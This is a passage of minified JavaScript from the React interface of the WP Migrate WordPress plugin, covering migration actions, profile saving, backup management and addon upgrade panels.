t=!1,a=["actions-panel"];(0,i.d4)((e=>e.panels.panelsOpen)).includes(e.panelName)||(t=!0,a.push("has-divider"));var n=()=>{var t=(0,g.Vt)(),a=(0,r.useRef)(null),n=e.connecting,i=(0,r.useState)(""),l=(0,y.A)(i,2),c=l[0],o=l[1],d=(0,r.useState)([]),m=(0,y.A)(d,2),p=m[0],u=m[1],_=(0,w.A)({},e);return _.toolTipContent=c,_.setToolTipContent=o,r.createElement("div",{className:"".concat(n?"connecting ":"","action-buttons btn-section")},r.createElement("div",{className:"action-row",ref:a},r.createElement("div",{className:"action-button-group"},r.createElement("h4",null,"Replace This Site with Another\xa0Site"),r.createElement("div",{className:"buttons"},r.createElement(ea,(0,s.A)({config:{panel:"connect",title:q.U.pull,intent:"pull"},description:t?(0,g.Vc)("pull",(0,g.PQ)()):(0,v.__)("Replace this site's database and files with a remote site's database and files","wp-migrate-db"),disabled:t,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.pull),t?r.createElement(Rt,null):r.createElement(Ft,null)),r.createElement(ea,(0,s.A)({config:{panel:"import",title:q.U.import,intent:"import"},description:t?(0,g.Vc)("import",(0,g.PQ)()):(0,v.__)("Replace this site's database with the contents of an SQL file","wp-migrate-db"),disabled:t,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.import),t?r.createElement(Rt,null):r.createElement(zt,null)))),r.createElement("div",{className:"action-button-group"},r.createElement("h4",null,"Replace Another Site with This\xa0Site"),r.createElement("div",{className:"buttons"},r.createElement(ea,(0,s.A)({config:{panel:"connect",title:q.U.push,intent:"push"},description:t?(0,g.Vc)("push",(0,g.PQ)()):(0,v.__)("Replace a remote site's database and files with this site's database and files","wp-migrate-db"),disabled:t,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.push),t?r.createElement(Rt,null):r.createElement(Vt,null)),r.createElement(ea,(0,s.A)({config:{panel:"database",title:q.U.savefile,intent:"savefile"},description:(0,h.Ay)((0,v.__)("Export this site's database and files","wp-migrate-db")),disabled:!1,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.savefile),r.createElement(qt,null)))),r.createElement("div",{className:"action-button-group"},r.createElement("h4",null,"Tools for This Site"),r.createElement("div",{className:"buttons"},r.createElement(ea,(0,s.A)({config:{panel:"database",title:q.U.find_replace,intent:"find_replace"},description:(0,h.Ay)((0,v.__)("Replace text in this site's database","wp-migrate-db")),disabled:!1,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.find_replace),r.createElement(Jt,null)),r.createElement(ea,(0,s.A)({config:{panel:"database",title:q.U.backup_local,intent:"backup_local"},description:(0,h.Ay)((0,v.__)("Save your database to an SQL file on your server","wp-migrate-db")),disabled:!1,wrapperRef:a,toolTipOpen:p,setToolTipOpen:u},_),r.createElement("p",{className:"action-title text-center"},Mt.backup_local),r.createElement($t,null))))))};return r.createElement(Ot.A,{title:e.title,panelName:e.panelName,panelKey:1,hasSummary:!0,forceDivider:t,panelSummary:r.createElement(ta,(0,s.A)({panelTitle:e.panelSummary,panelName:e.panelName},e)),className:a.join(" ")},r.createElement(n,null))};var na=a(26184),ra=a(83649),ia=a.n(ra);const la=e=>{var t=e.selected_existing_profile,a=e.saved,n=(0,r.useRef)(null),i=e.match.url;null===t&&a.length>0&&(t=e.profiles.saved[0].id),(0,r.useEffect)((()=>{n.current&&n.current.scrollIntoView()}),[n]);var l=e=>{var t=e.checked,a=e.item,i=t?n:null;return r.createElement("input",{type:"radio",name:"saved-profile",checked:t,onChange:t=>{e.setSelectedExistingProfile(a.id)},ref:i})};if(a.length>0){var c=a.map(((a,n)=>{var c=!1;return i.includes("unsaved")||parseInt(t)===a.id&&(c=!0),r.createElement("li",{key:n},r.createElement("label",{className:"recent-list"},r.createElement(l,(0,s.A)({checked:c,item:a},e))," ",r.createElement("b",null,a.id),r.createElement("span",null,a.name)))}));return r.createElement("div",{className:"scroll-div"},r.createElement("ul",null,c))}return r.createElement("div",{className:"scroll-div empty"},"No saved profiles")};const sa=e=>{var t=e.current_migration.profile_name;return r.createElement("div",{className:"flex-group"},r.createElement("div",{className:"save-profile-input"},r.createElement("label",{htmlFor:"save-new-profile"},"Profile Name"),r.createElement("br",null),r.createElement("input",{id:"save-new-profile",type:"text",value:t,onChange:t=>((e,t)=>{t.setProfileName(e.target.value)})(t,e),className:"consolas"})))};a(44848);var ca=a(90467),oa=e=>{var t=e.tabOpen,a=e.saved;return"save_new"===t?r.createElement(sa,e):r.createElement("div",{className:"flex-group"},r.createElement(la,(0,s.A)({saved:a},e)))};const da=(0,i.Ng)((e=>{var t=(0,ee.G)("ui",e),a=(0,Q.ud)("selected_existing_profile",e);return{ui_data:t,btn_text:t.btn_text,selected_existing_profile:a,panels:e.panels,migration:e.migrations,profiles:e.profiles,current_migration:e.migrations.current_migration}}),{addProfile:F.xc,setProfileName:W.Pc,setSelectedExistingProfile:F.e,overwriteProfile:F.vK,renderButtonStatus:F._7})((e=>{var t=e.profiles.saved,a=e.profiles.status,n=a.profile_save_error,l=a.saving,c=(0,r.useState)("save_new"),o=(0,y.A)(c,2),d=o[0],m=o[1],p=e.saveProfileOpen,u=e.setSaveProfileOpen,_=(0,r.useState)(0),g=(0,y.A)(_,2),f=g[0],b=g[1],h=(0,i.wA)(),E=(0,r.useRef)(null),A=(0,r.useRef)(null),k=e.selected_existing_profile;null===k&&t.length>0&&(k=e.profiles.saved[0].id);var N=()=>!l&&("save_new"===d?(async()=>{var t=e.current_migration.profile_name;if(0!==t.length){var a=await e.addProfile({name:t});if(!a.success)return!1;e.history.push("/migrate/".concat(a.data.id))}})():(()=>{var a=ia()(t,{id:parseInt(k)});e.overwriteProfile(a.guid,a.name),parseInt(e.match.params.id)!==parseInt(a.id)&&e.history.push("/migrate/".concat(a.id))})()),S=e=>{A.current.contains(e.target)||O()};(0,r.useEffect)((()=>(p?document.addEventListener("mousedown",S):document.removeEventListener("mousedown",S),()=>{document.removeEventListener("mousedown",S)})),[p]),(0,r.useEffect)((()=>{if(p)return()=>{};var t="save_new";null===e.profiles.current_profile||e.match.url.includes("unsaved")||(t="overwrite"),m(t)}),[e.profiles.current_profile]);var T=function(e){var t=e.x,a=document.body.clientWidth,n=160;return a<960&&(n=36),a<=782&&(n=10),{leftPos:t,sidebarWidth:n}}(f),P=T.leftPos-T.sidebarWidth-32,O=()=>{u(!1)},C=(0,na.pn)(p,null,{from:{opacity:0,top:-25},enter:{opacity:1,top:0},leave:{opacity:0,top:-25},onRest:()=>{null===e.profiles.current_profile||e.match.url.includes("unsaved")||m("overwrite")}});return r.createElement("span",{ref:A},r.createElement("button",{style:{marginLeft:15},ref:E,onClick:()=>{h((0,ca.M)())&&(b(E.current.getBoundingClientRect()),u(!p))},className:"btn btn-stroke".concat(p?" active":"")},"Save Profile"),C.map((a=>{var i=a.item,l=a.key,c=a.props;return i&&r.createElement(x(),{active:p},r.createElement(na.CS.div,{key:l,style:(0,w.A)({},c),className:"wpmdb-save-profile save-profile-wrap"},r.createElement("div",{className:"save-profile-box",style:{left:P}},r.createElement("div",{className:"header-row"},r.createElement("button",{className:"save_new"===d?"active":"",onClick:()=>{m("save_new")}},(0,v.__)("Create new","wp-migrate-db")),r.createElement("button",{className:"overwrite"===d?"active":"",onClick:()=>{m("overwrite")}},(0,v.__)("Overwrite existing","wp-migrate-db"))),r.createElement("div",{className:"row wpmdb-form"},r.createElement("div",{className:"save-inner"},r.createElement(oa,(0,s.A)({},e,{saved:t,tabOpen:d}))),(null!==k&&"overwrite"===d||"save_new"===d)&&r.createElement("button",{className:"btn btn-sm save-btn",onClick:()=>N()},e.renderButtonStatus(e.ui_data,O)),n&&"migration"===n.location&&r.createElement("div",{className:"profile-save-error"},r.createElement(z.A,{type:"danger"},(0,v.__)("Problem saving profile:","wp-migrate-db"),r.createElement("br",null),r.createElement("code",null,n.message))),r.createElement("div",{className:"close-wrap"},r.createElement("button",{onClick:()=>{u(!1)},className:"close-picker"},r.createElement(Be.h,{"aria-hidden":!0}),r.createElement("span",{className:"screen-reader-text"},(0,v.__)("Close Save Profile Dialog","wp-migrate-db"))))))))})))}));var ma=a(48665),pa=a(834);const ua=(0,i.Ng)((e=>({panelsOpen:(0,ma.o)("panelsOpen",e)})))((e=>{var t=e.outdatedSettings,a=e.panelsOpen,n=e.dispatch;(0,r.useEffect)((()=>{t.forEach((e=>{a.includes(e)||n({type:pa.RH,payload:e})}))}));var i={media_files:(0,v.__)("Media Files","wp-migrate-db"),post_types:(0,v.__)("Post Types","wp-migrate-db")},l=t.map((e=>"".concat(i[e],""))).join("");return r.createElement(z.A,{type:"danger"},r.createElement("strong",null,(0,v.__)("Profile Settings Have Changed","wp-migrate-db"))," ","\u2014",(0,v.__)("The profile you are using was imported from an older version of WP Migrate. Please review and update the following settings:","wp-migrate-db"),r.createElement("br",null),r.createElement("br",null),r.createElement("ul",null,(0,h.Ay)(l)))}));var _a,ga,fa,ba,ha,va,Ea,wa=a(35923),ya=(b.Ay.button(_a||(_a=(0,f.A)(["\n border-radius: 3px;\n"]))),b.Ay.div(ga||(ga=(0,f.A)(["\n background: #ffffff;\n border: 1px solid #d6d6d6;\n box-shadow: 0 2px 8px 0 rgba(0, 0, 0, 0.05), 0 2px 1px 0 rgba(0, 0, 0, 0.05);\n border-radius: 6px;\n"])))),Aa=((0,b.Ay)(ya)(fa||(fa=(0,f.A)(["\n padding: 0.75rem;\n margin-bottom: 0.8rem;\n"]))),b.Ay.span(ba||(ba=(0,f.A)(["\n display: block;\n text-overflow: ellipsis;\n white-space: nowrap;\n overflow: hidden;\n max-width: 100%;\n font-size: 0.8rem;\n color: ",";\n"])),wa.SH));b.Ay.p(ha||(ha=(0,f.A)(["\n color: ",";\n margin: 1rem 0;\n line-height: 1.5 !important;\n"])),wa.aw),b.Ay.div(va||(va=(0,f.A)(["\n color: ",";\n a{\n color:","\n text-decoration: underline;\n \n &:hover{\n text-decoration: none;\n }\n }\n"])),wa.aw,wa.aw);function ka(){return ka=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",ka({height:16,viewBox:"0 0 16 16",width:16,xmlns:"http://www.w3.org/2000/svg"},e),Ea||(Ea=r.createElement("path",{d:"m8.393 11.34 4.945-4.9a.548.548 0 0 0 0-.779.558.558 0 0 0-.785 0L8 10.173 3.448 5.662a.559.559 0 0 0-.786 0 .548.548 0 0 0 0 .779l4.945 4.9a.564.564 0 0 0 .786 0z"})));a.p;var Na,Sa=(0,b.Ay)(ya)(Na||(Na=(0,f.A)(["\n padding: 0.9rem 1.25rem;\n margin-bottom: 1.1rem;\n line-height: 1.2rem;\n a.link {\n font-size: inherit;\n }\n .breadcrumbs {\n margin-top: -2px;\n }\n"]))),Ta=e=>{var t=e.recentProfiles,a=(0,i.d4)((e=>t?e.profiles.recent:e.profiles.saved)),n=(0,i.d4)((e=>e.profiles.current_profile));return r.createElement(Sa,null,r.createElement("div",{className:"breadcrumbs"},r.createElement(c.k2,{className:"link",to:"/"},t?(0,v.__)("Unsaved Profiles","wp-migrate-db"):(0,v.__)("Saved Profiles","wp-migrate-db"))," ",r.createElement(xa,{className:"profile-header-arrow"})," ",r.createElement("b",null,((e,t)=>{var a=ia()(e,{id:parseInt(t)});return a?r.createElement(r.Fragment,null,(0,T.decode)(a.name)):null})(a,n))))},Pa=a(2454),Oa=a(19354),Ca=a(10866),Ra=(a(70237),{selected:null}),Da=r.createContext(Ra),Ia=(e,t)=>"SET_SELECTED"===t.type?(0,w.A)((0,w.A)({},e),{},{selected:t.payload}):(0,w.A)({},e),Ma=e=>{var t=e.label,a=e.name,n=e.description,i=e.onClick,l=(0,r.useContext)(Da).state.selected===a;return r.createElement("button",{className:"combo-button-child-container",onClick:i},r.createElement("div",{className:"combo-button-child ".concat(l?"selected":"")},r.createElement("div",{className:"text"},r.createElement("span",{className:"label"},t),r.createElement("span",{className:"description"},n))))},La=e=>{var t=e.className,a=e.children,n=e.selected,i=e.setSelected,l=e.expandAriaLabel,s=(0,r.useState)(""),c=(0,y.A)(s,2),o=c[0],d=c[1],m=(0,r.useState)(null),p=(0,y.A)(m,2),u=p[0],_=p[1],g=(0,r.useState)([]),f=(0,y.A)(g,2),b=f[0],h=f[1],v=(0,r.useState)(!1),E=(0,y.A)(v,2),w=E[0],A=E[1],k=(0,r.useReducer)(Ia,Ra),N=(0,y.A)(k,2),S=N[0],T=N[1],P=e=>({type:"SET_SELECTED",payload:e}),O=(0,r.useRef)(null),C=(0,r.useRef)(null),R=e=>{O.current.contains(e.target)||setTimeout((()=>{A(!1)}),50)};return(0,r.useEffect)((()=>(w?document.addEventListener("mousedown",R):document.removeEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)})),[w]),(0,r.useEffect)((()=>{h(r.Children.map(a,((e,t)=>{var a=e.props.onClick,l=e.props.name,s=e.props.label;return n||0!==t||(d(s),_((()=>a)),T(P(l)),i(l)),n&&l===n&&(d(s),_((()=>a)),T(P(l)),i(l)),r.cloneElement(e,{onClick:()=>{d(s),_((()=>a)),T(P(l)),i(l),A(!1),C.current.blur(),setTimeout((()=>{a(),C.current.focus()}),0)}})})))}),[a]),r.createElement(Da.Provider,{value:{state:S,dispatch:T}},r.createElement(x(),{active:w},r.createElement("div",{ref:O,className:"combo-button-container ".concat(t||"")},r.createElement("div",{className:"btn-large"},r.createElement("button",{ref:C,className:"primary-btn",onClick:u},o),r.createElement("button",{"aria-label":l,className:"secondary-btn",onMouseDown:e=>{A(!w)},onKeyDown:e=>{"Enter"!==e.key&&" "!==e.key||A(!w)}},r.createElement(Ca.h,{"aria-hidden":"true",className:w?"expanded":""}))),r.createElement("div",{className:"combo-button-children ".concat(w?"show":"")},b))))},Fa=a(47114);const Ba=e=>{var t=e.local_site,a=e.remote_site,n=e.current_migration,l=e.intent,s=e.selectedOption,c=e.onClick,o=(0,i.wA)(),d=(0,r.useState)(s),m=(0,y.A)(d,2),p=m[0],u=m[1],_=(0,Fa.T)(t,a,n,l);return r.createElement(La,{className:"run-migration",selected:null!==p&&void 0!==p?p:"preview",setSelected:u,expandAriaLabel:(0,v.__)("Expand Find & Replace options","wp-migrate-db")},r.createElement(Ma,{label:(0,v.__)("Find & Replace","wp-migrate-db"),description:(0,v.__)("Run the full process with no prompt","wp-migrate-db"),name:"run",onClick:e=>{o((0,et.$4)(!1)),c(e)}}),r.createElement(Ma,{name:"preview",label:(0,v.__)("Preview Changes","wp-migrate-db"),description:(0,v.__)("Show changes with prompt to save or cancel","wp-migrate-db"),onClick:()=>{(0,Oa.isArray)(_)&&_.forEach((e=>{e.includes("_mig_")||o((0,et.JZ)({table:e,data:[],time:0}))})),o((0,et.fk)())}}))};const Ua=(0,i.Ng)((e=>({remote_site:(0,Q.jG)("remote_site",e),local_site:(0,Q.jG)("local_site",e),current_migration:e.migrations.current_migration})))((e=>{var t=e.onClick,a=e.intent,n=e.selectedOption,i=e.local_site,l=e.remote_site,s=e.current_migration;return"find_replace"===a?r.createElement(Ba,{current_migration:s,onClick:t,selectedOption:n,remote_site:l,local_site:i,intent:a}):r.createElement("button",{onClick:t,className:"btn run-migration ".concat(a)},It[a])}));const za=e=>{var t=(0,i.wA)(),a=t((0,Pa.X)()),n=(0,i.d4)((e=>e.migrations.current_migration)).status,l=e.match,c=(0,i.d4)((e=>e.panels)),o=c.panelsToDisplay,d=c.panelTitles,m=c.panelsOpen,p=(0,i.d4)((e=>(0,Q.yy)("this_uploads_dir",e))),u=(0,i.d4)((e=>e.profiles)),_=(0,i.d4)((e=>(0,ee.G)("status",e))).profile_loading,f=(0,i.d4)((e=>e.migrations.current_migration)),b=f.intent,h=f.migration_enabled,E=f.running,w=f.selectedComboOption,A=(0,r.useState)(!1),k=(0,y.A)(A,2),x=k[0],N=k[1],S=(0,g.rR)(u.loaded_profile),T=l.params.hasOwnProperty("id"),P=!1;return(null===_&&!1===T||!1===_&&T)&&(P=!0),r.createElement(r.Fragment,null,null!==u.current_profile&&r.createElement(r.Fragment,null,S&&0!==S.length&&r.createElement(ua,{outdatedSettings:S}),r.createElement(Ta,{profiles:e.match.path.includes("unsaved")?r.createElement("profiles",{className:"recent"}):u.saved,recentProfiles:e.match.path.includes("unsaved"),profileID:e.current_profile})),P&&r.createElement(aa,(0,s.A)({connecting:a,title:d.action_buttons,panelName:"action_buttons",panelsToShow:o,panelHandler:a=>{if(a.intent===b)return!1;"/migrate"!==e.match.path&&e.history.push({pathname:"/migrate"}),t((0,H.NX)(a))},baseTitle:(0,v.__)("Action","wp-migrate-db"),updateOpenPanels:e.updateOpenPanels,panelState:m,panelSummary:Mt[b]},e)),""===b&&P&&r.createElement(Je,{location:"migrate-tab"}),e.children,"backup_local"===b&&r.createElement("div",{className:"migration-message"},(0,v.__)("An SQL file will be saved to ".concat(p," on your server"),"wp-migrate-db")),b&&r.createElement(r.Fragment,null,(0,ca.F)(n,"EMPTY_MIGRATION_STAGES")&&r.createElement(z.A,{type:"danger"},(0,v.__)("Select at least one type of content to be migrated.","wp-migrate-db")),h&&!a&&r.createElement("div",{className:"migration-buttons"},r.createElement(Ua,{onClick:async e=>E?(e.preventDefault(),!1):(t({type:"WPMDB_PRE_MIGRATION"}),!!t((0,ca.M)())&&(t({type:"MIGRATION_STARTED"}),void t((0,de.yS)()))),intent:b,selectedOption:w})," ",r.createElement(da,(0,s.A)({title:"Save Profile",intent:b,saveProfileOpen:x,setSaveProfileOpen:N,panelName:"save_profile",baseTitle:(0,v.__)("Save Profile","wp-migrate-db")},e)))))};var Ga,ja=["ChildPanels"],Va=(0,b.Ay)(it.xj)(Ga||(Ga=(0,f.A)(["\n position: relative;\n top: 5px;\n #el_6X7lquFKkl {\n fill: #b3aeae;\n }\n"]))),Ha=e=>{var t=e.ChildPanels,a=(0,A.A)(e,ja),n=(0,i.wA)(),l=a.match,s=a.current_migration,c=a.profileData,o=c.profile_loading,d=c.profile_load_error,m=s.running;return(0,r.useEffect)((()=>{l.params.id&&n(X(l))}),[]),(0,r.useEffect)((()=>{document.body.style.overflow=m?"hidden":"auto"}),[m]),o?r.createElement("div",{className:"padded-container"},d?r.createElement("h2",null,d):r.createElement("h2",null,(0,v.__)("Loading profile... ","wp-migrate-db"),r.createElement("span",null,r.createElement(Va,null)))):r.createElement(r.Fragment,null,r.createElement(za,a,t),m&&r.createElement(Tt,{running:m}))};const Wa=(0,i.Ng)((e=>({current_migration:e.migrations.current_migration,profileData:e.profiles})))(r.memo(Ha));const qa=e=>{var t=(0,r.useState)(),a=(0,y.A)(t,2),n=a[0],i=a[1],l=e.status.backup_deleting||e.status.backup_downloading,s=(e,t)=>{if(t)return!1;(e=>{i(e)})(e)},c=()=>{i("")},o=async(t,a)=>{if(l)return!1;var n=(0,g.qX)(t.raw_name);await e.deleteBackup(a,(0,g.Qj)(t.raw_name),n)&&i("")},d=e.backups.map(((t,a)=>{var i=(0,w.A)((0,w.A)({},e),{},{deleteItem:o,cancelDelete:c,item:t,index:a});return r.createElement("tr",{key:a,className:"flex-container".concat(e.status.backup_deleting?" in-progress":"")},r.createElement("td",null,t.modified),r.createElement("td",{className:"table-col-action"},t.name),r.createElement("td",null,r.createElement("button",{className:"link",onClick:()=>e.downloadBackup(t.raw_name)},(0,v.__)("Download","wp-migrate-db"))),r.createElement("td",null,r.createElement("button",{className:"action-btn delete-backup link text-error",onClick:()=>s(a)},(0,v.__)("Delete","wp-migrate-db"))),n===a&&r.createElement("td",{className:"relative"},r.createElement(C,i)))}));return r.createElement("table",{className:"backups-table"},r.createElement("tbody",null,d))};var Za;a(43584);function Qa(){return Qa=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Qa({height:36,viewBox:"0 0 36 36",width:36,xmlns:"http://www.w3.org/2000/svg"},e),Za||(Za=r.createElement("path",{d:"M5.082 20A13.648 13.648 0 0 1 5 18.5C5 11.044 11.044 5 18.5 5S32 11.044 32 18.5 25.956 32 18.5 32a13.45 13.45 0 0 1-9.014-3.45l2.125-2.126A10.46 10.46 0 0 0 18.5 29C24.299 29 29 24.299 29 18.5S24.299 8 18.5 8 8 12.701 8 18.5c0 .51.036 1.01.106 1.5H12l-5.5 5L1 20zM19 18.994l3.998 3.013-1.204 1.597L17.011 20H17v-8h2z",fill:"#b2b2b2"})));a.p;var Ja=a(93974),Ka="BACKUPS_LOADING",Xa="BACKUP_DELETING",$a="BACKUP_DOWNLOADING",en={files:[],status:{backups_loading:!0,backup_deleting:!1,backup_downloading:!1,backups_error:""},ui:{backups_location:window.wpmdb_data.this_upload_dir_long}};const tn=(0,Ja.vy)(en,{BACKUPS_LOADING:(e,t)=>(e.status=(0,w.A)((0,w.A)({},e.status),{},{backups_loading:!0,backup_deleting:!1,backup_downloading:!1,backups_error:""}),e),GET_BACKUPS:(e,t)=>(e.files=t.payload,e.status=(0,w.A)((0,w.A)({},e.status),{},{backups_loading:!1,backups_error:!1}),e),BACKUP_DELETING:(e,t)=>(e.status=(0,w.A)((0,w.A)({},e.status),{},{backup_deleting:!0,backups_error:""}),e),DELETE_BACKUP:(e,t)=>(e.files.splice(t.payload,1),e.status.backup_deleting=!1,e),BACKUP_DOWNLOADING:(e,t)=>(e.status=(0,w.A)((0,w.A)({},e.status),{},{backup_downloading:!0,backups_error:""}),e),DOWNLOAD_BACKUP:(e,t)=>(e.status.backup_downloading=!1,e),BACKUPS_ERROR:(e,t)=>(e.status=(0,w.A)((0,w.A)({},e.status),{},{backups_loading:!1,backup_deleting:!1,backup_downloading:!1,backups_error:t.payload}),e)});function an(e){return async(t,a)=>(t((0,G.b)("BACKUPS_ERROR",(0,ct.A)(e))),!1)}const nn=(0,i.Ng)((e=>({backups:e.backups.files,backups_location:e.backups.ui.backups_location,status:e.backups.status})),{getBackups:function(e){return async e=>{var t;e((0,G.b)(Ka));try{t=await(0,g.ty)("/get-backups",{},!1,e)}catch(Tr){return e(an(Tr))}return t.success?(e((0,G.b)("GET_BACKUPS",t.data)),!0):e(an(t))}},deleteBackup:(e,t,a)=>async n=>{var r;n((0,G.b)(Xa));try{r=await(0,g.ty)("/delete-backup",{path:t,isCompressed:a})}catch(Tr){return n(an(Tr))}return r.success?(n({type:"DELETE_BACKUP",payload:e}),!0):n(an(r))},downloadBackup:function(e){return async t=>{var a;t((0,G.b)($a));var n=(0,g.qX)(e),r=(0,g.Qj)(e);try{a=await(0,g.ty)("/get-backup",{path:r,isCompressed:n})}catch(Tr){return t(an(Tr))}return a.success?(window.location.href=a.data.redirect,t({type:"DOWNLOAD_BACKUP"}),!0):t(an(a))}},createNewBackup:function(){return e=>{e({type:"RESET_APP"}),e((0,H.NX)({panel:"database",title:q.U.backup_local,intent:"backup_local"}))}}})((e=>((0,r.useEffect)((()=>{e.getBackups()}),[]),r.createElement("section",{className:"wpmdb-backups"},r.createElement("div",{className:"backups-header"},r.createElement(c.N_,{className:"btn btn-sm create-new-backup",to:"/migrate",replace:!0,onClick:()=>e.createNewBackup()},r.createElement(U,{"aria-hidden":!0})," ",(0,v.__)("Create New","wp-migrate-db")),r.createElement("p",{className:"backups-save-location"},(0,v.__)("Backups are currently saved to","wp-migrate-db"),"\xa0",r.createElement("strong",null,e.backups_location))),e.status.backups_error&&r.createElement(z.A,{type:"danger"},e.status.backups_error),!0===e.status.backups_loading?r.createElement("div",{className:"backups-loading"},r.createElement("hr",null),r.createElement("p",null,(0,v.__)("Backups loading, please wait...","wp-migrate-db")," ",r.createElement(it.xj,{className:"backups-spinner"}))):e.backups.length>0?r.createElement("div",{className:"container-shadow table"},r.createElement("div",{className:"flex-container"},r.createElement("h2",{className:"table-heading"},(0,v.__)("Saved Backups","wp-migrate-db"))),r.createElement("div",{className:"table-divider-line bg-grey-light"}),r.createElement(qa,{backups:e.backups,deleteBackup:e.deleteBackup,downloadBackup:e.downloadBackup,status:e.status})):r.createElement("div",null,r.createElement("hr",null),r.createElement("p",{className:"no-items"},r.createElement(Ya,{className:"no-backups-icon"}),(0,v.__)("No backups found. Go ahead and create your first one.","wp-migrate-db")))))));var rn=a(38447),ln=(a(63387),["addon","name","readMoreLink"]),sn={multisiteTools:(0,v.__)("Subsite options can be found within migration profiles for Push, Pull, Export, and Find & Replace.","wp-migrate-db"),themeFiles:(0,v.__)("Themes can now be selected within Push and Pull migration profiles.","wp-migrate-db"),pluginFiles:(0,v.__)("Plugins can now be selected within Push and Pull migration profiles.","wp-migrate-db"),otherFiles:(0,v.__)("Other files can now be selected within Push and Pull migration profiles.","wp-migrate-db"),mediaFiles:(0,v.__)("Media uploads can now be selected within Push and Pull migration profiles.","wp-migrate-db"),cli:(0,v.__)(" Additional commands to push, pull, and import are now available when using WP-CLI.","wp-migrate-db")},cn=(0,v.nv)((0,v.__)('Feature is available, but will not receive updates or support until you log in to My Account and renew your license.',"wp-migrate-db"),"https://deliciousbrains.com/my-account");const on=e=>{var t=e.addon,a=e.name,n=e.readMoreLink,l=(0,A.A)(e,ln),s=null,c=!1,o=(0,i.d4)((e=>e.dbi_api_data));if((0,g.PQ)()){var d=o.licence.licence_status;c="subscription_expired"===d}if((0,g.PQ)()){var m=(0,i.d4)((e=>e.dbi_api_data));s=m.api_data}var p=()=>(0,g.PQ)()&&s&&s.addons_available_list?s.hasOwnProperty("addons_available_list")&&s.addons_available_list.hasOwnProperty(t)?s.hasOwnProperty("addon_content")?r.createElement(z.A,{type:c?"warning":"success",className:"installed-activated-text ".concat(c?"license-expired":"")},(0,h.Ay)((0,v.nv)("%s - %s",(0,v.__)(c?(0,v.__)("License Expired","wp-migrate-db"):(0,v.__)("Activated","wp-migrate-db"),"wp-migrate-db"),c?cn:sn[a]))):null:r.createElement("div",{className:"addon-upgrade-container"},r.createElement("a",{href:"https://deliciousbrains.com/wp-migrate-db-pro/upgrade/?utm_campaign=WP%2BMigrate%2BDB%2BPro%2BUpgrade&utm_source=MDB%2BFree&utm_medium=insideplugin",target:"_blank",rel:"noopener noreferrer",className:"btn btn-sm addon-btn"},(0,v.__)("Upgrade","wp-migrate-db")),r.createElement("div",{className:"edit-key-link"},r.createElement("span",null,"or "),r.createElement("a",{href:"#settings/enter"},(0,v.__)("Edit License Key","wp-migrate-db")))):null;return r.createElement("div",{className:"addon-container container-shadow"},l.icon,r.createElement("div",{className:"addon-content"},r.createElement("h2",{className:"addon-title"},l.title),r.createElement("p",null,l.desc," ",n&&r.createElement("a",{className:"more-details-link",href:n,target:"_blank",rel:"noopener noreferrer"},(0,h.Ay)((0,v.__)("More Details \u2192","wp-migrate-db"))))),(0,g.PQ)()&&r.createElement("div",{className:"addon-bottom-controls"},r.createElement(p,{readMoreLink:l.readMoreLink})))};var dn;function mn(){return mn=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",mn({height:64,viewBox:"0 0 64 64",width:64,xmlns:"http://www.w3.org/2000/svg"},e),dn||(dn=r.createElement("g",{fill:"#236de7",fillRule:"evenodd"},r.createElement("circle",{cx:32,cy:34,r:8}),r.createElement("path",{d:"M7 19h50v30H7zm3 3v24h44V22z",fillRule:"nonzero"}),r.createElement("path",{d:"M27 15h11l2 4H25zM11 15h6v3h-6z"}),r.createElement("circle",{cx:16,cy:28,r:2}))));a.p;var un;function _n(){return _n=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",_n({height:64,viewBox:"0 0 64 64",width:64,xmlns:"http://www.w3.org/2000/svg"},e),un||(un=r.createElement("g",{fill:"#236de7",fillRule:"evenodd"},r.createElement("path",{d:"M8 15h48v34H8zm3 6v25h42V21z"}),r.createElement("path",{d:"M30 39h18v3H30zM22.208 34.051l-6.363-6.364 2.12-2.121 8.486 8.485-8.485 8.485-2.121-2.121z"}))));a.p;var fn;function bn(){return bn=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",bn({height:64,viewBox:"0 0 64 64",width:64,xmlns:"http://www.w3.org/2000/svg"},e),fn||(fn=r.createElement("path",{d:"M28.679 17.821a50.65 50.65 0 0 0-3.018-1.348C27.13 12.572 29.253 10 32 10c2.676 0 4.76 2.44 6.224 6.173-.94.396-1.905.837-3.002 1.385-1.122-2.939-2.403-4.265-3.223-4.265-.844 0-2.176 1.406-3.321 4.528zM32 51.707c-.82 0-2.1-1.326-3.223-4.265-1.106.553-2.064.99-3.001 1.385C27.24 52.56 29.324 55 32 55c2.748 0 4.87-2.572 6.34-6.473a50.588 50.588 0 0 1-3.018-1.348C34.177 50.3 32.844 51.707 32 51.707zm-8.988-4.154c-3.661 1.323-9.123 2.61-11.294-.594-1.072-1.584-1.473-4.628 2.71-10.14 1.11-1.461 2.395-2.898 3.699-4.216 2.923-2.913 6.217-5.718 10.508-8.622-2.066-1.118-4.32-2.188-6.521-2.984-2.252-.814-4.235-1.266-5.755-1.266-.97 0-1.69.203-1.927.542-.25.36-.263 1.467.85 3.454a3.622 3.622 0 1 1-2.752 1.818c-2.12-3.675-1.682-5.886-.8-7.154.62-.89 1.926-1.952 4.629-1.952 4.8 0 11.266 3.112 15.43 5.523 4.226-2.555 10.913-5.925 15.852-5.925 2.714 0 4.022 1.09 4.64 2.004 1.073 1.584 1.474 4.628-2.71 10.14-5.887 7.756-17.594 16.134-26.56 19.372zM46.949 26.19c2.874-3.786 2.962-5.777 2.607-6.302-.24-.354-.938-.558-1.915-.558-3.726 0-9.403 2.736-12.67 4.588a75.558 75.558 0 0 1 6.721 4.907 55.033 55.033 0 0 1-2.426 2.27 72.068 72.068 0 0 0-7.446-5.27 71.933 71.933 0 0 0-8.787 6.659 70.624 70.624 0 